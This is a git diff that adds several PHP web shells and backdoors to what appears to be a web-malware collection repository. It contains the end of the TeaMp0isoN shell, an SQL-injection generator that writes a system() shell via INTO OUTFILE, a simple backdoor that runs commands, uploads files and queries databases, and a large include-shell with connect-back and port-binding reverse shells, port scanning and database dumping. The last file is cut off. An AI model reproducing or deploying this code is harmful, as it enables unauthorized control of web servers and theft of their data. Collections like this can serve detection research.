$owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://packetstormsecurity.org/search/?q=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://packetstormsecurity.org/search/?q=".$OSV." ".$Lversion; + } +} + + +function sh_name() { return base64_decode("VGVhTXAwaXNvTiBQcml2YXRlIEJ1aWxkIFsgQkVUQSBd"); } +function htmlhead($safemode) { +$style = ' +<style type="text/css"> +body,table {font:8pt verdana;background-color:black;} +table {width:100%;} +table,td,#maininfo td {padding:3px;} +table,td,input,select,option {border:1px solid #808080;} +body,table,input,select,option {color:#FFFFFF;} +a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;} +textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;} +#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;} +#pagebar td {vertical-align:top;} +#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;} +#pagebar a {font-weight:bold;color:#37FDFC;} +#pagebar a:visited {color:#00CDCD;} +#mainmenu {text-align:center;} +#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;} +#maininfo,.barheader,.bartitle {text-align:center;} +.fleft {float:left;text-align:left;} +.fright {float:right;text-align:right;} +.bartitle {padding:5px;border:2px solid #7F8778;} +.barheader {font-weight:bold;padding:5px;} +.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;} +.info th {color:#37FDFC;text-align:left;width:13%;} +.contents,.explorer {border-collapse:collapse;} +.contents,.explorer td,th {vertical-align:top;} +.mainpanel {border-collapse:collapse;padding:5px;} +.barheader,.mainpanel table,td {border:1px solid #333333;} +input[type="submit"],input[type="button"] {border:1px solid #000000;} +input[type="text"] {padding:3px;} +.shell {background-color:#000000;color:#37FDFC;padding:5px;font-size:12;} +.fxerrmsg {color:red; font-weight:bold;} +#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;} +#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#2F4F2F;} +.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;} +textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;} +input[type="label"] { text-align:right;} +.info,.info td,input[type="label"] {border:0;background:none;} +</style> +'; +$html_start = ' +<html><head> +<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title> +'.$style.' +</head> +<body> +<center><img src="http://oi54.tinypic.com/dzjtid.jpg" alt="ShellBanner"></center> +'; +return $html_start; +}; +function footer() { + echo "<div class=bartitle colspan=2><font size=2 color=#00FF00><b> TeaMp0isoN Shell - Private Build [BETA] - v0.1 -; Generated: ".round(getmicrotime()-starttime,4)." seconds</b></font></div>"; +} +chdir($lastdir); tpshexit(); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/pHpINJ.txt b/web-malware-collection-master/Backdoors/PHP/pHpINJ.txt new file mode 100755 index 0000000..b54acc6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/pHpINJ.txt @@ -0,0 +1,37 @@ +<?php +?> +<html> +<head> +<title>|| .::News Remote PHP Shell Injection::. || </title> +</head> +<body> +<header>|| .::News PHP Shell Injection::. ||</header> <br /> <br /> +<?php +if (isset($_POST['url'])) { +$url = $_POST['url']; +$path2news = $_POST['path2news']; +$outfile = $_POST ['outfile']; +$sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile"; +$sql = urlencode($sql); +$expurl= $url."?id=".$sql ; +echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />'; +echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results"; +} +else +{ +?> +Url to index.php: <br /> +<form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post"> +<input type = "text" name = "url" value = "http://www.site.com/n13/index.php"; size = "50"> <br /> +Server Path to Shell: <br /> +Full server path to a writable file which will contain the Php Shell <br /> +<input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br /> +<input type = "submit" value = "Create Exploit"> <br /> <br /> + + + +<?php +} +?> +</body> +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/php-backdoor.txt b/web-malware-collection-master/Backdoors/PHP/php-backdoor.txt new file mode 100755 index 0000000..7defd37 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/php-backdoor.txt @@ -0,0 +1,71 @@ +<? +// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\ + +ob_implicit_flush(); +if(isset($_REQUEST['f'])){ + $filename=$_REQUEST['f']; + $file=fopen("$filename","rb"); + fpassthru($file); + die; +} +if(isset($_REQUEST['d'])){ + $d=$_REQUEST['d']; + echo "<pre>"; + if ($handle = opendir("$d")) { + echo "<h2>listing of $d</h2>"; + while ($dir = readdir($handle)){ + if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>"; + else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>"; + echo "$dir\n"; + echo "</font></a>"; + } + + } else echo "opendir() failed"; + closedir($handle); + die ("<hr>"); +} +if(isset($_REQUEST['c'])){ + echo "<pre>"; + system($_REQUEST['c']); + die; +} +if(isset($_REQUEST['upload'])){ + + if(!isset($_REQUEST['dir'])) die('hey,specify directory!'); + else $dir=$_REQUEST['dir']; + $fname=$HTTP_POST_FILES['file_name']['name']; + if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname)) + die('file uploading error.'); +} +if(isset($_REQUEST['mquery'])){ + + $host=$_REQUEST['host']; + $usr=$_REQUEST['usr']; + $passwd=$_REQUEST['passwd']; + $db=$_REQUEST['db']; + $mquery=$_REQUEST['mquery']; + mysql_connect("$host", "$usr", "$passwd") or + die("Could not connect: " . mysql_error()); + mysql_select_db("$db"); + $result = mysql_query("$mquery"); + if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n"; + while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); + mysql_free_result($result); + die; +} +?> +<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form> +<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000"> +upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form> +<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here] +<br>for example: +http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix +or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win +<hr>execute mysql query: +<form action="<? echo $PHP_SELF; ?>" METHOD=GET > +host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd"> + +database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute"> +</form> + +<!-- http://michaeldaw.org 2006 --> diff --git a/web-malware-collection-master/Backdoors/PHP/php-include-w-shell.txt b/web-malware-collection-master/Backdoors/PHP/php-include-w-shell.txt new file mode 100755 index 0000000..2b4b74a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/php-include-w-shell.txt @@ -0,0 +1,1312 @@ +<?php +###################################################################### +# we decide if we want syslogging +closelog(); +###################################################################### +# define variables +###################################################################### + +# error_reporting(E_ALL); +error_reporting(0); + +# get globals even if register_globals is off +import_globals(); + +$safe_mode = ini_get('safe_mode'); +$register_globals = ini_get('register_globals'); +$magic_quotes_gpc = ini_get('magic_quotes_gpc'); +$txt['en']['on']="on"; +$txt['en']['off']="off"; +$txt['de']['on']="an"; +$txt['de']['off']="aus"; +$lang="en"; + +if($safe_mode == 1) $SM = $txt[$lang]['on']; +else { + $SM = $txt[$lang]['off']; + # set_time_limit(9000); +} +if($register_globals == 1) $RG = $txt[$lang]['on']; +else $RG = $txt[$lang]['off']; +if($magic_quotes_gpc == 1) $MQ = $txt[$lang]['on']; +else $MQ = $txt[$lang]['off']; + +# navigatable functions +$ArrFuncs = array( + "dropinc" => 0, + "filecopy" => 0, + "fileedit" => 0, + "showsource" => 0, + "snoop" => 0, + "cmdln" => 0, + "connectback" => 0, + "phpshell" => 0, + "servicecheck" => 0, + "mysqlaccess" => 0, + "mail" => 0, + "env" => 0, + "phpenv" => 0, + "phpinfo" => 0, + "dumpvars" => 0, + "debugscript" => 0, + "syslog" => 0 +); + +# init navigation +foreach($ArrFuncs as $key => $val) if(!isset($$key)) $$key = $val; + + + +# set default values +$ArrDefaults = array( + "filecopy_source" => "http://...", + "filecopy_dest" => getcwd(), + "cmdcall" => "", + "editfile" => getcwd(), + "editcontent" => "", + "chdir" => ".", + "vsource" => $SCRIPT_FILENAME, + "mail_from" => "attacker@0wned.org", + "mail_to" => "", + "mail_subject" => "", + "mail_attach_source" => "http://....", + "mail_attach_appear" => "filename...", + "mail_content_type" => "image/png", + "mail_msg" => "", + "tcpports" => "21 22 23 25 80 110", + "timeout" => 5, + "miniinc_loc" => getcwd() . "/miniinc.php", + "incdbhost" => "localhost", + "cbhost" => $_SERVER['REMOTE_ADDR'], + "cbport" => 20202, + "cbtempdir" => "/tmp", + "cbcompiler" => "gcc", + "phpshellapp" => "export TERM=xterm; bash -i", + "phpshellhost" => "0.0.0.0", + "phpshellport" => "20202" +); + +# init defaults +foreach($ArrDefaults as $key => $val) if(!isset($$key)) $$key = $val; + +# define executable functions +$Mstr = array( + 0 => "No execute functions available!", + 1 => "passthru()", + 2 => "system()", + 3 => "backticks", + 4 => "proc_open()", + 5 => "exec()" +); + +# clean request to avoid uri monster +$SREQ = ""; +$reqdat = array(); +$tmpCount=0; +foreach($REQUESTS as $key => $val){ + if($tmpCount==0) $reqdat[] = $key."=".$val; + else if($val!=0 || $val!="" || $val!="0") $reqdat[] = $key."=".$val; + $tmpCount++; +} +$SREQ = implode("&", $reqdat); +$tmpCount=0; +if($SREQ=="") { + $tmp_req = array(); + $tmp_qry = explode("&", $QUERY_STRING); + foreach($tmp_qry as $key => $val) { + $tmp_val = explode("=", $val); + if($tmpCount==0) $tmp_req[] = $tmp_val[0]."=".$tmp_val[1]; + else if($tmp_val[1]!=0 || $tmp_val[1]!="" || $tmp_val[1]!="0") $tmp_req[] = $tmp_val[0]."=".$tmp_val[1]; + $tmpCount++; + } + $SREQ = implode("&", $tmp_req); +} + +if(isset($path['docroot'])) $SREQ .= "&path[docroot]=" . $path['docroot']; + +# set some defaults to avaoid errors +$is_file = array(); +$is_dir = array(); +$is_w_dir = array(); +$is_w_file = array(); +$emeth=0; +if($chdir!="/" && strlen($chdir) < 2) $chdir = getcwd() . "/"; +$chdir = str_replace("//", "/", $chdir); +if(substr($chdir, -1) != "/") $chdir .= "/"; +## +# Setup wether to use PHP_SELF or SCRIPT_NAME +if($PHP_SELF!=$SCRIPT_NAME) $MyLoc = $PHP_SELF; +else $MyLoc = $SCRIPT_NAME; + +# $MyLoc = "http://" . $_SERVER['HTTP_HOST'] . $MyLoc; +$MyLoc = "http://" . $SERVER_NAME . ":" . $SERVER_PORT . $MyLoc; + +# This is a list of internal inc.inc vars that do not get displayed +# inside the dumpvars function (poss for a debug func later?) +$DebugArr = array( + 'ARHGFDGFGASDFG', + 'safe_mode', + 'register_globals', + 'magic_quotes_gpc', + 'txt', + 'lang', + 'SM', + 'RG', + 'MQ', + 'ArrFuncs', + 'val', + 'key', + 'env', + 'phpenv', + 'phpinfo', + 'debugscript', + 'filecopy', + 'fileedit', + 'showsource', + 'snoop', + 'mail', + 'cmdln', + 'syslog', + 'servicecheck', + 'dropinc', + 'mysqlaccess', + 'ArrDefaults', + 'filecopy_source', + 'filecopy_dest', + 'cmdcall', + 'editfile', + 'editcontent', + 'chdir', + 'vsource', + 'mail_from', + 'mail_to', + 'mail_subject', + 'mail_attach_source', + 'mail_attach_appear', + 'mail_content_type', + 'mail_msg', + 'tcpports', + 'timeout', + 'miniinc_loc', + 'incdbhost', + 'Mstr', + 'SREQ', + 'reqdat', + 'tmpCount', + 'is_file', + 'is_dir', + 'is_w_dir', + 'is_w_file', + 'emeth', + 'MyLoc', + 'dumpvarsare', + 'DebugArr', + 'cbtempdir', + 'cbcompiler', + 'cbhost', + 'cbport', + 'phpshelltype', + 'phpshellapp', + 'phpshellhost', + 'phpshellport' +); + + +# activate syslog entry +if($syslog == 1) +{ +# openlog("# XSS $SCRIPT_URI #", LOG_PID | LOG_PERROR, LOG_LOCAL0); +# drop_syslog_warning("Q: $QUERY_STRING :: R: $REMOTE_ADDR ($HTTP_USER_AGENT)"); +} +############################################################################### +# +# start include output +# +############################################################################### +$strOutput = ""; +$strOutput .= "<html><body bgcolor='#ffffff'> +<table border=3 bgcolor=#aaaaaa width='100%'><tr><td><font color='#000000'> +<center> +<h2>Include tool</h2> +PHP Version: " . phpversion() . " | +safe_mode: $SM | +register_globals: $RG | +magic_quotes_gpc: $MQ | +syslogging: "; +if($syslog == 1) $strOutput .= $txt[$lang]['off']; else $strOutput .= $txt[$lang]['on']; +$strOutput .= " +<br><br> +</center> +<font color='#000000'>"; +foreach($ArrFuncs as $key => $val) $strOutput .= make_switch($key); + +############################################################################### +# test cmd shell environment +############################################################################### +if($env == 1) { + $strOutput .= " + <table border=1><tr><td colspan=2><h3>cmd infos</h3></td></tr> + <tr><td>test using pwd</td><td>"; $emeth =& test_cmd_shell(); $strOutput .= "</td></tr>"; + if($emeth==0) { + $strOutput .= "<tr><td colspan=2>$Mstr[$emeth]</td></tr>"; + } else { + $strOutput .= "<tr><td>exec method</td><td>$Mstr[$emeth]</td><tr> + <tr><td>uname -a</td><td>" . Mexec("uname -a", $emeth) . "</td><tr> + <tr><td>id</td><td>" . Mexec("id", $emeth) . "</td><tr> + </table>"; + } +} + +############################################################################### +# test php environment +############################################################################### +if($phpenv == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>php short infos</h3></td></tr> + <tr><td colspan=2>posix infos</td><tr>"; + if(function_exists('posix_uname')) { + $posix_uname = posix_uname(); + while (list($info, $value) = each ($posix_uname)) { + $strOutput .= "<tr><td>$info</td><td>$value</td></tr>"; + } + } else { + $strOutput .= "posix_uname not available"; + } + $strOutput .= "<tr><td>current script user</td><td>" . get_current_user() . "</td><tr>"; + if(function_exists('posix_getuid')) $strOutput .= "<tr><td>getuid</td><td>" . posix_getuid() . "</td><tr>"; + else $strOutput .= "posix_getuid not available"; + if(function_exists('posix_geteuid')) $strOutput .= "<tr><td>geteuid</td><td>" . posix_geteuid() . "</td><tr>"; + else $strOutput .= "posix_geteuid not available"; + if(function_exists('posix_getgid')) $strOutput .= "<tr><td>getgid</td><td>" . posix_getgid() . "</td><tr>"; + else $strOutput .= "posix_getgid not available"; + $strOutput .= "</table>"; +} + + +############################################################################### +# dump variables +############################################################################### +if($dumpvars == 1) { + $strOutput .= "<table border=1><tr><td><h3>dump variables</h3></td></tr> + <tr><td>" . dd("GLOBALS") . "</td></tr> + </table>"; +} +############################################################################### +# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!! +############################################################################### +if($debugscript == 1) { ?> + <table border=1><tr><td><h3>debug script</h3></td></tr> + <tr><td> + <? ddb("DebugArr"); ?> + </td></tr> + </table> +<? } +############################################################################### +# copy file +############################################################################### +if($filecopy == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>copy file</h3></td></tr> + <form method='post' target='_parent' action=" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>source</td><td><input type=text name='filecopy_source' value='" . $filecopy_source . "'></td></tr> + <tr><td>destination</td><td><input type=text name='filecopy_dest' value='" . $filecopy_dest . "'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>" . copy_file($filecopy_source,$filecopy_dest) . "</td></tr> + </form> + </table>"; +} +############################################################################### +# edit file +############################################################################### +if($fileedit == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>edit file</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>file</td><td><input type=text name='editfile' value='" . $editfile . "'></td></tr> + <tr><td>edit</td><td><input type='checkbox' name='edit' value='1'></td></tr> + <tr><td>content</td><td><textarea name='editcontent' cols='50' rows='10'>"; + if($edit==1 | $editfile!=$ArrDefaults['editfile']) + $strOutput .= show_file($editfile); + $strOutput .= "</textarea></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>"; + if($edit==1 | $editfile!=$ArrDefaults['editfile']) + $strOutput .= edit_file($editcontent,$editfile,$edit); + $strOutput .= "</td></tr> + </table> + </form>"; +} +############################################################################### +# execute cmd shell NEEDS MODIFINY FOR B64 STATUS!! +############################################################################### +if($cmdln == 1) { + $emeth = test_cmd_shell(); + $strOutput .= "<table border=1><tr><td colspan=2><h3>execute cmd execution: " . $cmdcall . "</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>cmd line</td><td><input type=text name='cmdcall' value='" . $cmdcall . "'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td>test method with 'pwd'</td><td>" . $Mstr[$emeth] . "</td></tr> + <tr><td colspan=2>"; + if($emeth < 3) { + $strOutput .= "The output of this command will be somewhere on the page!"; + Mexec($cmdcall, $emeth); + } else { + $strOutput .= Mexec($cmdcall, $emeth); + } + $strOutput .= "</td></tr> + </form> + </table>"; +} +############################################################################### +# sending mime mail +############################################################################### +if($mail == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>sending mime mail with attachment</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>from</td><td><input type=text name='mail_from' value='" . $mail_from . "'></td></tr> + <tr><td>to</td><td><input type=text name='mail_to' value='" . $mail_to . "'></td></tr> + <tr><td>subject</td><td><input type=text name='mail_subject' value='" . $mail_subject . "'></td></tr> + <tr><td>message</td><td><textarea name='mail_msg' cols='50' rows='10'>" . $mail_msg . "</textarea></td></tr> + <tr><td>attach file</td><td><input type=text name='mail_attach_source' value='" .$mail_attach_source . "'></td></tr> + <tr><td>attach content type</td><td><input type=text name='mail_content_type' value='" . $mail_content_type . "'></td></tr> + <tr><td>file to appear</td><td><input type=text name='mail_attach_appear' value='" . $mail_attach_appear . "'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>" . drop_mime_mail($mail_from,$mail_to,$mail_subject,$mail_attach_source,$mail_content_type,$mail_attach_appear,$mail_msg) . "</td></tr> + </form> + </table>"; +} + +############################################################################### +# drop mini inc handling +############################################################################### +if($dropinc == 1) { + if($loc!="") $miniinc_loc = $loc; + $strOutput .= "<table border=1><tr><td colspan=2><h3>drop mini inc hole</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>source</td><td><input type=text name='loc' value='" . $miniinc_loc . "'></td></tr> + <tr><td>drop</td><td><input type='checkbox' name='minisave' value='1'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2><pre>"; + if($minisave==1) $strOutput .= dropminiinc($miniinc_loc); + $strOutput .= "</pre></td></tr> + </form> + </table>"; +} +############################################################################### +# connect C back shell handling +############################################################################### +if($connectback == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>connect back shell</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>temp dir.</td><td><input type=text name='cbtempdir' value='" . $cbtempdir . "'></td></tr> + <tr><td>compiler</td><td><input type=text name='cbcompiler' value='" . $cbcompiler . "'></td></tr> + <tr><td>host</td><td><input type=text name='cbhost' value='" . $cbhost . "'></td></tr> + <tr><td>tcp port</td><td><input type=text name='cbport' value='" . $cbport . "'></td></tr> + <tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>"; + if($run == 1 && $cbtempdir && $cbcompiler && $cbhost && $cbport) $strOutput .= connect_back($cbtempdir, $cbcompiler, $cbhost, $cbport); + $strOutput .= "</td></tr></form></table>"; +} + +############################################################################### +# PHP shell handling +############################################################################### +if($phpshell == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>PHP shell</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>type</td><td><select name='phpshelltype'><option value='cb'>Connect Back</option><option value='pb'>Port Binding</option></select></td></tr> + <tr><td>shell app</td><td><input type=text name='phpshellapp' value='" . $phpshellapp . "'></td></tr> + <tr><td>host</td><td><input type=text name='phpshellhost' value='" . $phpshellhost . "'></td></tr> + <tr><td>tcp port</td><td><input type=text name='phpshellport' value='" . $phpshellport . "'></td></tr> + <tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>"; + if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB_Shell($phpshelltype, $phpshellapp, $phpshellport, $phpshellhost); + $strOutput .= "</td></tr></form></table>"; +} + + +############################################################################### +# snooping +############################################################################### +if($snoop == 1) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>file system snooping: " . $chdir . "</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>path</td><td><input type=text name='chdir' value='" . $chdir . "'></td></tr> + <tr><td colspan=2>" . snoopy($chdir) . "</td></tr> + </form> + </table>"; +} +############################################################################### +# show highlited source +############################################################################### +if(($showsource == 1) | ($vsource!=$ArrDefaults['vsource'])) { + $strOutput .= "<table border=1><tr><td colspan=2><h3>show source: " . $vsource . "</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>path</td><td><input type=text name='vsource' value='" . $vsource . "'></td></tr> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2>" . highlight_file($vsource, 1) . "</td></tr> + </form> + </table>"; +} +############################################################################### +# service check +############################################################################### +if($servicecheck == 1) { +if($servhost!="") $host = $servhost; +else $host = "localhost"; + + $strOutput .= "<table border=1><tr><td colspan=2><h3>simple service check</h3></td></tr> + <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> + <tr><td>host(s)</td><td><input type=text name='servhost' value='" . $host . "'></td></tr> + <tr><td>tcp port(s)</td><td><input type=text name='tcpports' value='" . $tcpports . "'></td></tr> + <tr><td>timeout</td><td><input type=text name='timeout' value='" . $timeout . "'></td></tr> + <!-- tr><td>udp port(s)</td><td><input type=text name='udpports' value='<?=$sports?>'></td></tr --> + <tr><td></td><td><input type=submit></td></tr> + <tr><td colspan=2><pre>"; + + $hosts = explode(" ", $host); + $port = explode(" ",$tcpports); + $values = count($port); + $numhosts = count($hosts); + if($values == 1 && $port[0] != "") $strOutput .= "\nChecking 1 port..\n"; + else if($values > 1) $strOutput .= "Checking $values ports..\n"; + else $strOutput .= "No ports specified!!\n"; + if($numhosts > 1) $strOutput .= "On $numhosts hosts..\n"; + else if($numhosts == 1) $strOutput .= "On 1 host..\n"; + else $strOutput .= "No hosts specified!!\n"; + if($numhosts >= 1) { + for($hcount=0; $hcount < $numhosts; $hcount++) { + $tmphost = $hosts[$hcount]; + $strOutput .= "\nTesting $tmphost..\n"; + if(($values == 1 && $port[0] != "") | $values > 1) { + for ($cont=0; $cont < $values; $cont++) { + @$sock[$cont] = fsockopen($tmphost, $port[$cont], $oi, $oi2, $timeout); + $service = getservbyport($port[$cont],"tcp"); + @$get = fgets($sock[$cont]); + if(isset($get)) $strOutput .= "Port: $port[$cont] ($service) - Banner: $get \n"; + flush(); + } + } + } + } + $strOutput .= "</pre></td></tr> + </form> + </table>"; +} +############################################################################### +# show phpinfo +############################################################################### +if($phpinfo == 1){ + phpinfo(); +} +###################################################################### +# db stuff +###################################################################### +if($mysqlaccess == 1) { + $strOutput .= "<table border=1> + <form method='post' target='_parent' action='$MyLoc?$SREQ&'> + <tr><td>db host</td><td><input type='text' name='incdbhost' size='10' value='$incdbhost'/></td></tr> + <tr><td>user</td><td><input type='text' name='incdbuser' size='10' value='$incdbuser'/></td></tr> + <tr><td>pass</td><td><input type='text' name='incdbpass' size='10' value='$incdbpass'/></td></tr> + <tr><td>name</td><td><input type='text' name='incdbname' size='10' value='$incdbname'/></td></tr> + <tr><td>table</td><td><input type='text' name='incdbtable' size='10' value='$incdbtable'/></td></td></tr> + <tr><td>sql query</td><td><input type='text' name='incdbsql' size='50' value='$incdbsql'/></td></td></tr> + <tr><td>dumpfile</td><td><input type='text' name='incdbfile' size='10' value='$incdbfile'/></td></td></tr> + <!-- tr><td>Variables?</td><td><input type='checkbox' name='incdbvar'<? if($incdbvar!='') echo ' checked '; /></td></tr --> + <tr><td colspan=2><input type='submit' name='submit' value='Query'/></td></tr> + </table>"; +} + +if($incdbhost!="" && $incdbuser!="") { + if($incdbvar!="") $dbh = $incdbhost; + else $dbH = $incdbhost; + $dbu = $incdbuser; + $dbp = $incdbpass; + if($incdbsql!="") $dbs = $incdbsql; + if($incdbname!="") $dbn = $incdbname; + if($incdbtable!="") $dbt = $incdbtable; + if($incdbfile!="") $dumpfile = $incdbfile; +} + +if(isset($dbh)) { + $strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr>"; + eval("\$Gdbhost = \"\$$dbh\";"); + eval("\$Gdbuser = \"\$$dbu\";"); + eval("\$Gdbpass = \"\$$dbp\";"); + eval("\$Gdbname = \"\$$dbn\";"); + $strOutput .= "<tr><td>"; + if($dbn=="") { + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass . + "</td></tr><tr><td>" . + display_dbs($Gdbhost, $Gdbuser, $Gdbpass); + } else if(isset($dbs)) { + $Gdbsql = $dbs; + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname."<br/>sql=".$Gdbsql . + "</td></tr><tr><td>"; + if(isset($dumpfile)) { + $strOutput .= dump_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql, $dumpfile); + } else { + $strOutput .= display_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql); + } + } else if(isset($dbt)) { + $Gdbtabl = $dbt; + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl; + if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile; + $strOutput .= "</td></tr><tr><td>"; + if(isset($dumpfile)) { + $strOutput .= dump_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl, $dumpfile); + } else { + $strOutput .= display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl); + } + } else { + $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname . + "</td></tr><tr><td>" . + display_tables($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname); + } + $strOutput .= "</pre></td></tr></table><br/>"; +} + +if(isset($dbH)) { + 